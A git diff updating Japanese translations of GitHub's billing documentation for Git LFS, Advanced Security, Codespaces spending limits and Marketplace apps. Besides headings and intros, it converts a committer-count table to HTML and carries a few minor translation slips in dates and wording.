+SSH キーパスフレーズをなくした場合、リカバリの方法はありません。 [まったく新しく SSH キーペアを生成する](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent)か [HTTPS クローニングに切り替える](/github/getting-started-with-github/about-remote-repositories/#cloning-with-https-urls)かして、GitHub パスワードを代替で使用できるようにする必要があります。
 
 {% endlinux %}
diff --git a/translations/ja-JP/content/billing/index.md b/translations/ja-JP/content/billing/index.md
index 067b356ef5..036b5b3a16 100644
--- a/translations/ja-JP/content/billing/index.md
+++ b/translations/ja-JP/content/billing/index.md
@@ -1,6 +1,6 @@
 ---
-title: Billing and payments on GitHub
-shortTitle: Billing and payments
+title: GitHubの請求と支払
+shortTitle: 請求と支払い
 intro: '{% ifversion fpt %}{% data variables.product.product_name %} offers free and paid products for every account. You can upgrade or downgrade your account''s subscription and manage your billing settings at any time.{% elsif ghec or ghes or ghae %}{% data variables.product.company_short %} bills for your enterprise members'' {% ifversion ghec or ghae %}usage of {% data variables.product.product_name %}{% elsif ghes %} licence seats for {% data variables.product.product_name %}{% ifversion ghes > 3.0 %} and any additional services that you purchase{% endif %}{% endif %}. {% endif %}{% ifversion ghec %} You can view your subscription and manage your billing settings at any time. {% endif %}{% ifversion fpt or ghec %} You can also view usage and manage spending limits for {% data variables.product.product_name %} features such as {% data variables.product.prodname_actions %}, {% data variables.product.prodname_registry %}, and {% data variables.product.prodname_codespaces %}.{% endif %}'
 redirect_from:
   - /github/setting-up-and-managing-billing-and-payments-on-github
@@ -18,7 +18,7 @@ featuredLinks:
     - '{% ifversion ghes %}/billing/managing-your-license-for-github-enterprise/about-licenses-for-github-enterprise{% endif %}'
     - '{% ifversion ghes %}/billing/managing-your-license-for-github-enterprise/viewing-license-usage-for-github-enterprise{% endif %}'
     - '{% ifversion ghae %}/billing/managing-billing-for-your-github-account/about-billing-for-your-enterprise{% endif %}'
-  popular: 
+  popular:
     - '{% ifversion ghec %}/billing/managing-billing-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account{% endif %}'
     - '{% ifversion fpt or ghec %}/billing/managing-billing-for-your-github-account/downgrading-your-github-subscription{% endif %}'
     - '{% ifversion fpt or ghec %}/billing/managing-billing-for-github-actions/about-billing-for-github-actions{% endif %}'
@@ -27,8 +27,7 @@ featuredLinks:
     - '{% ifversion ghes %}/billing/managing-billing-for-github-advanced-security/viewing-your-github-advanced-security-usage{% endif %}'
     - '{% ifversion ghes %}/billing/managing-your-license-for-github-enterprise/uploading-a-new-license-to-github-enterprise-server{% endif %}'
     - '{% ifversion ghae %}/billing/managing-billing-for-your-github-account/about-billing-for-your-enterprise{% endif %}'
-  guideCards:  
-    - /billing/managing-your-github-billing-settings/removing-a-payment-method
+  guideCards:
     - /billing/managing-billing-for-your-github-account/how-does-upgrading-or-downgrading-affect-the-billing-process
     - /billing/managing-billing-for-git-large-file-storage/upgrading-git-large-file-storage
     - '{% ifversion ghes %}/billing/managing-your-license-for-github-enterprise/downloading-your-license-for-github-enterprise{% endif %}'
@@ -54,4 +53,5 @@ children:
   - /managing-billing-for-github-marketplace-apps
   - /managing-billing-for-git-large-file-storage
   - /setting-up-paid-organizations-for-procurement-companies
----
\ No newline at end of file
+---
+
diff --git a/translations/ja-JP/content/billing/managing-billing-for-git-large-file-storage/downgrading-git-large-file-storage.md b/translations/ja-JP/content/billing/managing-billing-for-git-large-file-storage/downgrading-git-large-file-storage.md
index 3fd9e67aef..221537a233 100644
--- a/translations/ja-JP/content/billing/managing-billing-for-git-large-file-storage/downgrading-git-large-file-storage.md
+++ b/translations/ja-JP/content/billing/managing-billing-for-git-large-file-storage/downgrading-git-large-file-storage.md
@@ -1,6 +1,6 @@
 ---
-title: Downgrading Git Large File Storage
-intro: 'You can downgrade storage and bandwidth for {% data variables.large_files.product_name_short %} by increments of 50 GB per month.'
+title: Git Large File Storage のダウングレード
+intro: '{% data variables.large_files.product_name_short %} のストレージと帯域幅を 1 月あたり 50GB 刻みでダウングレードできます。'
 redirect_from:
   - /github/setting-up-and-managing-billing-and-payments-on-github/downgrading-git-large-file-storage
   - /articles/downgrading-storage-and-bandwidth-for-a-personal-account
@@ -16,18 +16,19 @@ topics:
   - LFS
   - Organizations
   - User account
-shortTitle: Downgrade Git LFS storage
+shortTitle: Git LFSストレージのダウングレード
 ---
-When you downgrade your number of data packs, your change takes effect on your next billing date. For more information, see "[About billing for {% data variables.large_files.product_name_long %}](/articles/about-billing-for-git-large-file-storage)."
 
-## Downgrading storage and bandwidth for a personal account
+データパック数をダウングレードすると、その変更は次回の支払日から有効になります。 詳細は「[{% data variables.large_files.product_name_long %} の支払いについて](/articles/about-billing-for-git-large-file-storage)」を参照してください。
+
+## 個人アカウントのストレージと帯域幅をダウングレード
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.billing_plans %}
 {% data reusables.dotcom_billing.lfs-remove-data %}
 {% data reusables.large_files.downgrade_data_packs %}
 
-## Downgrading storage and bandwidth for an organization
+## Organization のストレージと帯域幅をダウングレード
 
 {% data reusables.dotcom_billing.org-billing-perms %}
 
diff --git a/translations/ja-JP/content/billing/managing-billing-for-git-large-file-storage/index.md b/translations/ja-JP/content/billing/managing-billing-for-git-large-file-storage/index.md
index 1705e89890..3f5f2945a0 100644
--- a/translations/ja-JP/content/billing/managing-billing-for-git-large-file-storage/index.md
+++ b/translations/ja-JP/content/billing/managing-billing-for-git-large-file-storage/index.md
@@ -1,7 +1,7 @@
 ---
-title: Managing billing for Git Large File Storage
+title: Git Large File Storage の支払いを管理する
 shortTitle: Git Large File Storage
-intro: 'You can view usage for, upgrade, and downgrade {% data variables.large_files.product_name_long %}.'
+intro: '{% data variables.large_files.product_name_long %} の使用状況を確認したり、アップグレードまたはダウンロードしたりすることができます。'
 redirect_from:
   - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-git-large-file-storage
   - /articles/managing-large-file-storage-and-bandwidth-for-your-personal-account
diff --git a/translations/ja-JP/content/billing/managing-billing-for-git-large-file-storage/upgrading-git-large-file-storage.md b/translations/ja-JP/content/billing/managing-billing-for-git-large-file-storage/upgrading-git-large-file-storage.md
index 524d077114..df1f2f304c 100644
--- a/translations/ja-JP/content/billing/managing-billing-for-git-large-file-storage/upgrading-git-large-file-storage.md
+++ b/translations/ja-JP/content/billing/managing-billing-for-git-large-file-storage/upgrading-git-large-file-storage.md
@@ -1,6 +1,6 @@
 ---
-title: Upgrading Git Large File Storage
-intro: 'You can purchase additional data packs to increase your monthly bandwidth quota and total storage capacity for {% data variables.large_files.product_name_short %}.'
+title: Git Large File Storage をアップグレードする
+intro: '追加のデータパックを購入すると、{% data variables.large_files.product_name_short %} の毎月の帯域幅容量と総ストレージ容量を増やすことができます。'
 redirect_from:
   - /github/setting-up-and-managing-billing-and-payments-on-github/upgrading-git-large-file-storage
   - /articles/purchasing-additional-storage-and-bandwidth-for-a-personal-account
@@ -16,9 +16,10 @@ topics:
   - Organizations
   - Upgrades
   - User account
-shortTitle: Upgrade Git LFS storage
+shortTitle: Git LFSストレージのアップグレード
 ---
-## Purchasing additional storage and bandwidth for a personal account
+
+## 個人アカウント用に追加のストレージと帯域幅を購入する
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.billing_plans %}
@@ -26,7 +27,7 @@ shortTitle: Upgrade Git LFS storage
 {% data reusables.large_files.pack_selection %}
 {% data reusables.large_files.pack_confirm %}
 
-## Purchasing additional storage and bandwidth for an organization
+## Organization 用に追加のストレージと帯域幅を購入する
 
 {% data reusables.dotcom_billing.org-billing-perms %}
 
@@ -35,9 +36,9 @@ shortTitle: Upgrade Git LFS storage
 {% data reusables.large_files.pack_selection %}
 {% data reusables.large_files.pack_confirm %}
 
-## Further reading
+## 参考リンク
 
-- "[About billing for {% data variables.large_files.product_name_long %}](/articles/about-billing-for-git-large-file-storage)"
-- "[About storage and bandwidth usage](/articles/about-storage-and-bandwidth-usage)"
-- "[Viewing your {% data variables.large_files.product_name_long %} usage](/articles/viewing-your-git-large-file-storage-usage)"
-- "[Versioning large files](/articles/versioning-large-files)"
+- [{% data variables.large_files.product_name_long %} の支払いについて](/articles/about-billing-for-git-large-file-storage)
+- 「[ストレージと帯域の利用について](/articles/about-storage-and-bandwidth-usage)」
+- 「[ {% data variables.large_files.product_name_long %}の利用状況を表示する](/articles/viewing-your-git-large-file-storage-usage)」
+- 「[大きなファイルのバージョン付け](/articles/versioning-large-files)」
diff --git a/translations/ja-JP/content/billing/managing-billing-for-git-large-file-storage/viewing-your-git-large-file-storage-usage.md b/translations/ja-JP/content/billing/managing-billing-for-git-large-file-storage/viewing-your-git-large-file-storage-usage.md
index 3cdfaa78d0..ce3936346c 100644
--- a/translations/ja-JP/content/billing/managing-billing-for-git-large-file-storage/viewing-your-git-large-file-storage-usage.md
+++ b/translations/ja-JP/content/billing/managing-billing-for-git-large-file-storage/viewing-your-git-large-file-storage-usage.md
@@ -1,6 +1,6 @@
 ---
-title: Viewing your Git Large File Storage usage
-intro: 'You can audit your account''s monthly bandwidth quota and remaining storage for {% data variables.large_files.product_name_short %}.'
+title: Git Large File Storage の使用状況を表示する
+intro: 'アカウントの毎月の帯域幅容量と {% data variables.large_files.product_name_short %} の残りの容量を監査できます。'
 redirect_from:
   - /github/setting-up-and-managing-billing-and-payments-on-github/viewing-your-git-large-file-storage-usage
   - /articles/viewing-storage-and-bandwidth-usage-for-a-personal-account
@@ -15,24 +15,25 @@ topics:
   - LFS
   - Organizations
   - User account
-shortTitle: View Git LFS usage
+shortTitle: Git LFSの使用状況の表示
 ---
+
 {% data reusables.large_files.owner_quota_only %} {% data reusables.large_files.does_not_carry %}
 
-## Viewing storage and bandwidth usage for a personal account
+## 個人アカウントのストレージと帯域幅の使用状況を表示する
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.billing_plans %}
 {% data reusables.dotcom_billing.lfs-data %}
 
-## Viewing storage and bandwidth usage for an organization
+## Organization のストレージと帯域幅の使用状況を表示する
 
 {% data reusables.dotcom_billing.org-billing-perms %}
 
 {% data reusables.organizations.billing-settings %}
 {% data reusables.dotcom_billing.lfs-data %}
 
-## Further reading
+## 参考リンク
 
-- "[About storage and bandwidth usage](/articles/about-storage-and-bandwidth-usage)"
-- "[Upgrading {% data variables.large_files.product_name_long %}](/articles/upgrading-git-large-file-storage/)"
+- 「[ストレージと帯域の利用について](/articles/about-storage-and-bandwidth-usage)」
+- 「[{% data variables.large_files.product_name_long %} をアップグレードする](/articles/upgrading-git-large-file-storage/)」
diff --git a/translations/ja-JP/content/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security.md b/translations/ja-JP/content/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security.md
index 6a8a95fbad..ca9b40af06 100644
--- a/translations/ja-JP/content/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security.md
+++ b/translations/ja-JP/content/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security.md
@@ -19,19 +19,19 @@ topics:
 shortTitle: Advanced Security billing
 ---
 
-## About billing for {% data variables.product.prodname_GH_advanced_security %}
+## {% data variables.product.prodname_GH_advanced_security %}の支払いについて
 
 {% ifversion fpt %}
 
-If you want to use {% data variables.product.prodname_GH_advanced_security %} features on any repository apart from a public repository on {% data variables.product.prodname_dotcom_the_website %}, you will need a {% data variables.product.prodname_GH_advanced_security %} license, available with {% data variables.product.prodname_ghe_cloud %} or {% data variables.product.prodname_ghe_server %}. For more information about {% data variables.product.prodname_GH_advanced_security %}, see "[About {% data variables.product.prodname_GH_advanced_security %}](/github/getting-started-with-github/about-github-advanced-security)."
+If you want to use {% data variables.product.prodname_GH_advanced_security %} features on any repository apart from a public repository on {% data variables.product.prodname_dotcom_the_website %}, you will need a {% data variables.product.prodname_GH_advanced_security %} license, available with {% data variables.product.prodname_ghe_cloud %} or {% data variables.product.prodname_ghe_server %}. {% data variables.product.prodname_GH_advanced_security %} に関する詳しい情報については、「[{% data variables.product.prodname_GH_advanced_security %} について](/github/getting-started-with-github/about-github-advanced-security)」を参照してください。
 
 {% elsif ghec %}
 
-If you want to use {% data variables.product.prodname_GH_advanced_security %} features on any repository apart from a public repository on {% data variables.product.prodname_dotcom_the_website %}, you will need a {% data variables.product.prodname_GH_advanced_security %} license. For more information about {% data variables.product.prodname_GH_advanced_security %}, see "[About {% data variables.product.prodname_GH_advanced_security %}](/github/getting-started-with-github/about-github-advanced-security)."
+If you want to use {% data variables.product.prodname_GH_advanced_security %} features on any repository apart from a public repository on {% data variables.product.prodname_dotcom_the_website %}, you will need a {% data variables.product.prodname_GH_advanced_security %} license. {% data variables.product.prodname_GH_advanced_security %} に関する詳しい情報については、「[{% data variables.product.prodname_GH_advanced_security %} について](/github/getting-started-with-github/about-github-advanced-security)」を参照してください。
 
 {% elsif ghes %}
 
-You can make extra features for code security available to users by buying and uploading a license for {% data variables.product.prodname_GH_advanced_security %}. For more information about {% data variables.product.prodname_GH_advanced_security %}, see "[About {% data variables.product.prodname_GH_advanced_security %}](/github/getting-started-with-github/about-github-advanced-security)."
+You can make extra features for code security available to users by buying and uploading a license for {% data variables.product.prodname_GH_advanced_security %}. {% data variables.product.prodname_GH_advanced_security %} に関する詳しい情報については、「[{% data variables.product.prodname_GH_advanced_security %} について](/github/getting-started-with-github/about-github-advanced-security)」を参照してください。
 
 {% endif %}
 
@@ -43,7 +43,7 @@ You can make extra features for code security available to users by buying and u
 
 To discuss licensing {% data variables.product.prodname_GH_advanced_security %} for your enterprise, contact {% data variables.contact.contact_enterprise_sales %}.
 
-## About committer numbers for {% data variables.product.prodname_GH_advanced_security %}
+## {% data variables.product.prodname_GH_advanced_security %} のコミッター番号について
 
 {% data reusables.advanced-security.about-committer-numbers-ghec-ghes %}
 
@@ -53,11 +53,11 @@ To discuss licensing {% data variables.product.prodname_GH_advanced_security %}
 
 {% endif %}
 
-You can enforce policies to allow or disallow the use of {% data variables.product.prodname_advanced_security %} by organizations owned by your enterprise account. For more information, see "[Enforcing policies for {% data variables.product.prodname_advanced_security %} in your enterprise]({% ifversion fpt %}/enterprise-cloud@latest/{% endif %}/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-advanced-security-in-your-enterprise){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %}
+Enterprise アカウントが所有する Organization による {% data variables.product.prodname_advanced_security %} の使用を許可または禁止するポリシーを適用できます。 For more information, see "[Enforcing policies for {% data variables.product.prodname_advanced_security %} in your enterprise]({% ifversion fpt %}/enterprise-cloud@latest/{% endif %}/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-advanced-security-in-your-enterprise){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %}
 
 {% ifversion fpt or ghes or ghec %}
 
-For more information on viewing license usage, see "[Viewing your {% data variables.product.prodname_GH_advanced_security %} usage](/billing/managing-billing-for-github-advanced-security/viewing-your-github-advanced-security-usage)."
+ライセンスの使用状況の表示について詳しくは、「[{% data variables.product.prodname_GH_advanced_security %} の使用状況を表示する](/billing/managing-billing-for-github-advanced-security/viewing-your-github-advanced-security-usage)」を参照してください。
 
 {% endif %}
 
@@ -65,13 +65,91 @@ For more information on viewing license usage, see "[Viewing your {% data variab
 
 The following example timeline demonstrates how active committer count for {% data variables.product.prodname_GH_advanced_security %} could change over time in an enterprise. For each month, you will find events, along with the resulting committer count.
 
-| Date | Events during the month | Total committers | 
-| :- | :- | -: | 
-| <nobr>April 15</nobr> | A member of your enterprise enables {% data variables.product.prodname_GH_advanced_security %} for repository **X**. Repository **X** has 50 committers over the past 90 days. | **50** | 
-| <nobr>May 1</nobr> | Developer **A** leaves the team working on repository **X**. Developer **A**'s contributions continue to count for 90 days. | **50** | **50** |
-| <nobr>August 1</nobr> | Developer **A**'s contributions no longer count towards the licences required, because 90 days have passed. | <sub>_50 - 1_</sub></br>**49** | 
-| <nobr>August 15</nobr> | A member of your enterprise enables {% data variables.product.prodname_GH_advanced_security %} for a second repository, repository **Y**. In the last 90 days, a total of 20 developers contributed to that repository. Of those 20 developers, 10 also recently worked on repo **X** and do not require additional licenses. | <sub>_49 + 10_</sub><br/>**59** | 
-| <nobr>August 16</nobr> | A member of your enterprise disables {% data variables.product.prodname_GH_advanced_security %} for repository **X**. Of the 49 developers who were working on repository **X**, 10 still also work on repository **Y**, which has a total of 20 developers contributing in the last 90 days. | <sub>_49 - 29_</sub><br/>**20** |
+<table spaces-before="0">
+  <tr>
+    <th align="left">
+      日付
+    </th>
+    
+    <th align="left">
+      Events during the month
+    </th>
+    
+    <th align="right">
+      Total committers
+    </th>
+  </tr>
+  
+  <tr>
+    <td align="left">
+      <nobr>15 年 4 月</nobr>
+    </td>
+    
+    <td align="left">
+      A member of your enterprise enables {% data variables.product.prodname_GH_advanced_security %} for repository <strong x-id="1">X</strong>. Repository <strong x-id="1">X</strong> has 50 committers over the past 90 days.
+    </td>
+    
+    <td align="right">
+      <strong x-id="1">50</strong>
+    </td>
+  </tr>
+  
+  <tr>
+    <td align="left">
+      <nobr>May 1</nobr>
+    </td>
+    
+    <td align="left">
+      Developer <strong x-id="1">A</strong> leaves the team working on repository <strong x-id="1">X</strong>. Developer <strong x-id="1">A</strong>'s contributions continue to count for 90 days.
+    </td>
+    
+    <td align="right">
+      <strong x-id="1">50</strong> | <strong x-id="1">50</strong>
+    </td>
+  </tr>
+  
+  <tr>
+    <td align="left">
+      <nobr>August 1</nobr>
+    </td>
+    
+    <td align="left">
+      Developer <strong x-id="1">A</strong>'s contributions no longer count towards the licences required, because 90 days have passed.
+    </td>
+    
+    <td align="right">
+      <sub>_50 - 1_</sub></br><strong x-id="1">49</strong>
+    </td>
+  </tr>
+  
+  <tr>
+    <td align="left">
+      <nobr>15 年 8 月</nobr>
+    </td>
+    
+    <td align="left">
+      A member of your enterprise enables {% data variables.product.prodname_GH_advanced_security %} for a second repository, repository <strong x-id="1">Y</strong>. In the last 90 days, a total of 20 developers contributed to that repository. Of those 20 developers, 10 also recently worked on repo <strong x-id="1">X</strong> and do not require additional licenses.
+    </td>
+    
+    <td align="right">
+      <sub>_49 + 10_</sub><br/><strong x-id="1">59</strong>
+    </td>
+  </tr>
+  
+  <tr>
+    <td align="left">
+      <nobr>16 年 8 月</nobr>
+    </td>
+    
+    <td align="left">
+      A member of your enterprise disables {% data variables.product.prodname_GH_advanced_security %} for repository <strong x-id="1">X</strong>. Of the 49 developers who were working on repository <strong x-id="1">X</strong>, 10 still also work on repository <strong x-id="1">Y</strong>, which has a total of 20 developers contributing in the last 90 days.
+    </td>
+    
+    <td align="right">
+      <sub>_49 - 29_</sub><br/><strong x-id="1">20</strong>
+    </td>
+  </tr>
+</table>
 
 {% note %}
 
diff --git a/translations/ja-JP/content/billing/managing-billing-for-github-codespaces/about-billing-for-codespaces.md b/translations/ja-JP/content/billing/managing-billing-for-github-codespaces/about-billing-for-codespaces.md
index 82f3ce58e9..756d143b3a 100644
--- a/translations/ja-JP/content/billing/managing-billing-for-github-codespaces/about-billing-for-codespaces.md
+++ b/translations/ja-JP/content/billing/managing-billing-for-github-codespaces/about-billing-for-codespaces.md
@@ -48,6 +48,12 @@ If you purchased {% data variables.product.prodname_enterprise %} through a Micr
 
 {% data reusables.codespaces.exporting-changes %}
 
+## Limiting the choice of machine types
+
+The type of machine a user chooses when they create a codespace affects the per-minute charge for that codespace, as shown above.
+
+Organization owners can create a policy to restrict the machine types that are available to users. For more information, see "[Restricting access to machine types](/codespaces/managing-codespaces-for-your-organization/restricting-access-to-machine-types)."
+
 ## How billing is handled for forked repositories
 
 {% data variables.product.prodname_codespaces %} can only be used in organizations where a billable owner has been defined. To incur charges to the organization, the user must be a member or collaborator, otherwise they cannot create a codespace.
diff --git a/translations/ja-JP/content/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-codespaces.md b/translations/ja-JP/content/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-codespaces.md
index acd6eb818f..ce778b0d4b 100644
--- a/translations/ja-JP/content/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-codespaces.md
+++ b/translations/ja-JP/content/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-codespaces.md
@@ -1,6 +1,6 @@
 ---
 title: Managing spending limits for Codespaces
-intro: 'You can set a spending limit for {% data variables.product.prodname_codespaces %} usage.'
+intro: '{% data variables.product.prodname_codespaces %} の使用に対して利用上限を設定できます。'
 versions:
   fpt: '*'
   ghec: '*'
@@ -13,39 +13,39 @@ topics:
   - Spending limits
   - User account
   - Billing
-shortTitle: Spending limits
+shortTitle: 利用上限
 ---
-## About spending limits for {% data variables.product.prodname_codespaces %}
+
+## {% data variables.product.prodname_codespaces %} の利用上限について
 
 {% data reusables.codespaces.codespaces-spending-limit-requirement %}
 
 Once you've reached your spending limit, your organization or repository will no longer be able to create new codespaces, and won't be able to start existing codespaces. Any existing codespaces that are still running will not be shutdown; if you don't change the spending limit, you will not be charged for the amount that exceeds the limit.
 
-For more information about pricing for {% data variables.product.prodname_codespaces %} usage, see "[About billing for {% data variables.product.prodname_codespaces %}](/billing/managing-billing-for-github-codespaces/about-billing-for-codespaces)."
+{% data variables.product.prodname_codespaces %}の価格に関する詳細な情報については、「[{% data variables.product.prodname_codespaces %}の支払いについて](/billing/managing-billing-for-github-codespaces/about-billing-for-codespaces)」を参照してください。
 
 {% ifversion ghec %}
 ## Using your Azure Subscription
-If you purchased {% data variables.product.prodname_enterprise %} through a Microsoft Enterprise Agreement, you can connect your Azure Subscription ID to your enterprise account to enable and pay for {% data variables.product.prodname_codespaces %} usage. For more information, see "[Connecting an Azure subscription to your enterprise](/billing/managing-billing-for-your-github-account/connecting-an-azure-subscription-to-your-enterprise)."
+If you purchased {% data variables.product.prodname_enterprise %} through a Microsoft Enterprise Agreement, you can connect your Azure Subscription ID to your enterprise account to enable and pay for {% data variables.product.prodname_codespaces %} usage. 詳しい情報については、「[Azure サブスクリプションを Enterprise に接続する](/billing/managing-billing-for-your-github-account/connecting-an-azure-subscription-to-your-enterprise)」を参照してください。
 {% endif %}
 
-## Managing the spending limit for {% data variables.product.prodname_codespaces %} for your organization
+## Organizationの {% data variables.product.prodname_codespaces %} に対する利用上限を管理する
 
-Organizations owners and billing managers can manage the spending limit for {% data variables.product.prodname_codespaces %} for an organization.
+Organization の {% data variables.product.prodname_codespaces %} については、Organizationのオーナーと支払いマネージャーが利用上限を管理できます。
 
 {% data reusables.organizations.billing-settings %}
 {% data reusables.dotcom_billing.manage-spending-limit %}
 {% data reusables.dotcom_billing.monthly-spending-limit-codespaces %}
 {% data reusables.dotcom_billing.update-spending-limit %}
 
-## Managing the spending limit for {% data variables.product.prodname_codespaces %} for your enterprise account
+## Enterprise アカウントの {% data variables.product.prodname_codespaces %} に対する利用上限を管理する
 
-Enterprise owners and billing managers can manage the spending limit for {% data variables.product.prodname_codespaces %} for an enterprise account.
+Enterprise アカウントの {% data variables.product.prodname_codespaces %} の利用上限は、Enterprise オーナーと支払いマネージャーが管理できます。
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.settings-tab %}
 {% data reusables.enterprise-accounts.billing-tab %}
-1. Above "{% data variables.product.prodname_codespaces %} monthly usage", click **Spending Limit**.
-  ![Spending limit tab](/assets/images/help/settings/spending-limit-tab-enterprise.png)
+1. Above "{% data variables.product.prodname_codespaces %} monthly usage", click **Spending Limit**. ![利用上限タブ](/assets/images/help/settings/spending-limit-tab-enterprise.png)
 {% data reusables.dotcom_billing.monthly-spending-limit %}
 {% data reusables.dotcom_billing.update-spending-limit %}
 
@@ -54,6 +54,11 @@ Enterprise owners and billing managers can manage the spending limit for {% data
 {% data reusables.codespaces.exporting-changes %}
 ## Managing usage and spending limit email notifications
 
-Email notifications are sent to account owners and billing managers when spending reaches 50%, 75%, and 90% of your account's spending limit. 
+Email notifications are sent to account owners and billing managers when spending reaches 50%, 75%, and 90% of your account's spending limit.
 
 You can disable these notifications anytime by navigating to the bottom of the **Spending Limit** page.
+
+## 参考リンク
+
+- "[Restricting access to machine types](/codespaces/managing-codespaces-for-your-organization/restricting-access-to-machine-types)"
+- "[Managing billing for Codespaces in your organization](/codespaces/managing-codespaces-for-your-organization/managing-billing-for-codespaces-in-your-organization)"
diff --git a/translations/ja-JP/content/billing/managing-billing-for-github-codespaces/viewing-your-codespaces-usage.md b/translations/ja-JP/content/billing/managing-billing-for-github-codespaces/viewing-your-codespaces-usage.md
index 35ac56e2c3..5eead00e63 100644
--- a/translations/ja-JP/content/billing/managing-billing-for-github-codespaces/viewing-your-codespaces-usage.md
+++ b/translations/ja-JP/content/billing/managing-billing-for-github-codespaces/viewing-your-codespaces-usage.md
@@ -19,6 +19,7 @@ Organization については、Organization のオーナーと支払いマネー
 
 {% data reusables.organizations.billing-settings %}
 {% data reusables.dotcom_billing.codespaces-minutes %}
+{% data reusables.dotcom_billing.codespaces-report-download %}
 
 ## Enterprise アカウントの {% data variables.product.prodname_codespaces %} の使用状況を表示する
 
diff --git a/translations/ja-JP/content/billing/managing-billing-for-github-marketplace-apps/canceling-a-github-marketplace-app.md b/translations/ja-JP/content/billing/managing-billing-for-github-marketplace-apps/canceling-a-github-marketplace-app.md
index 6d6d6bba9d..b9ac0aec27 100644
--- a/translations/ja-JP/content/billing/managing-billing-for-github-marketplace-apps/canceling-a-github-marketplace-app.md
+++ b/translations/ja-JP/content/billing/managing-billing-for-github-marketplace-apps/canceling-a-github-marketplace-app.md
@@ -1,6 +1,6 @@
 ---
-title: Canceling a GitHub Marketplace app
-intro: 'You can cancel and remove a {% data variables.product.prodname_marketplace %} app from your account at any time.'
+title: GitHub Marketplace アプリケーションのキャンセル
+intro: '{% data variables.product.prodname_marketplace %}のアプリケーションは、いつでもアカウントからキャンセルおよび削除できます。'
 redirect_from:
   - /github/setting-up-and-managing-billing-and-payments-on-github/canceling-a-github-marketplace-app
   - /articles/canceling-an-app-for-your-personal-account
@@ -17,29 +17,30 @@ topics:
   - Organizations
   - Trials
   - User account
-shortTitle: Cancel a Marketplace app
+shortTitle: Marketplaceアプリケーションのキャンセル
 ---
-When you cancel an app, your subscription remains active until the end of your current billing cycle. The cancellation takes effect on your next billing date. For more information, see "[About billing for {% data variables.product.prodname_marketplace %}](/articles/about-billing-for-github-marketplace)."
 
-When you cancel a free trial on a paid plan, your subscription is immediately canceled and you will lose access to the app. If you don't cancel your free trial within the trial period, the payment method on file for your account will be charged for the plan you chose at the end of the trial period. For more information, see "[About billing for {% data variables.product.prodname_marketplace %}](/articles/about-billing-for-github-marketplace)."
+アプリケーションをキャンセルすると、そのプランは現在の支払いサイクルが終わるまで有効のままとなり、 次の支払いサイクルで無効となります。 詳しい情報については、[{% data variables.product.prodname_marketplace %}の支払いについて](/articles/about-billing-for-github-marketplace)を参照してください。
+
+有料プランの無料トライアルをキャンセルすると、そのプランはすぐにキャンセルされ、キャンセルしたアプリケーションにアクセスできなくなります。 無料トライアル期間中にキャンセルしない場合、アカウントで設定された支払い方法で、トライアル期間の終了時にプランに対して課金されます。 詳しい情報については、[{% data variables.product.prodname_marketplace %}の支払いについて](/articles/about-billing-for-github-marketplace)を参照してください。
 
 {% data reusables.marketplace.downgrade-marketplace-only %}
 
-## Canceling an app for your personal account
+## 個人アカウントのアプリケーションをキャンセルする
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.billing_plans %}
 {% data reusables.marketplace.cancel-app-billing-settings %}
 {% data reusables.marketplace.cancel-app %}
 
-## Canceling a free trial for an app for your personal account
+## 個人アカウントのアプリケーション無料トライアルをキャンセルする
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.billing_plans %}
 {% data reusables.marketplace.cancel-free-trial-billing-settings %}
 {% data reusables.marketplace.cancel-app %}
 
-## Canceling an app for your organization
+## Organization の無料トライアルをキャンセルする
 
 {% data reusables.marketplace.marketplace-org-perms %}
 
@@ -50,7 +51,7 @@ When you cancel a free trial on a paid plan, your subscription is immediately ca
 {% data reusables.marketplace.cancel-app-billing-settings %}
 {% data reusables.marketplace.cancel-app %}
 
-## Canceling a free trial for an app for your organization
+## Organization のアプリケーション無料トライアルをキャンセルする
 
 {% data reusables.marketplace.marketplace-org-perms %}
 
diff --git a/translations/ja-JP/content/billing/managing-billing-for-github-marketplace-apps/downgrading-the-billing-plan-for-a-github-marketplace-app.md b/translations/ja-JP/content/billing/managing-billing-for-github-marketplace-apps/downgrading-the-billing-plan-for-a-github-marketplace-app.md
index 8a8f94379f..7b9fc3b20f 100644
--- a/translations/ja-JP/content/billing/managing-billing-for-github-marketplace-apps/downgrading-the-billing-plan-for-a-github-marketplace-app.md
+++ b/translations/ja-JP/content/billing/managing-billing-for-github-marketplace-apps/downgrading-the-billing-plan-for-a-github-marketplace-app.md
@@ -1,6 +1,6 @@
 ---
-title: Downgrading the billing plan for a GitHub Marketplace app
-intro: 'If you''d like to use a different billing plan, you can downgrade your {% data variables.product.prodname_marketplace %} app at any time.'
+title: GitHub Marketplace アプリケーションの支払いプランをダウングレード
+intro: '別の支払いプランを使用したい場合は、{% data variables.product.prodname_marketplace %} アプリケーションをいつでもダウングレードできます。'
 redirect_from:
   - /github/setting-up-and-managing-billing-and-payments-on-github/downgrading-the-billing-plan-for-a-github-marketplace-app
   - /articles/downgrading-an-app-for-your-personal-account
@@ -16,13 +16,14 @@ topics:
   - Marketplace
   - Organizations
   - User account
-shortTitle: Downgrade billing plan
+shortTitle: 支払いプランのダウングレード
 ---
-When you downgrade an app, your subscription remains active until the end of your current billing cycle. The downgrade takes effect on your next billing date. For more information, see "[About billing for {% data variables.product.prodname_marketplace %}](/articles/about-billing-for-github-marketplace)."
+
